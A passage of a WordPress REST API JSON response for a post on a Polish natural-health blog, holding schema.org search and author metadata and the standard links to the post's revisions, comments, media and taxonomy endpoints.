naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100","name":"mr-white","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","caption":"mr-white"},"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11382","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=11382"}],"version-history":[{"count":3,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11382\/revisions"}],"predecessor-version":[{"id":11386,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11382\/revisions\/11386"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/11383"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=11382"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=11382"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=11382"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}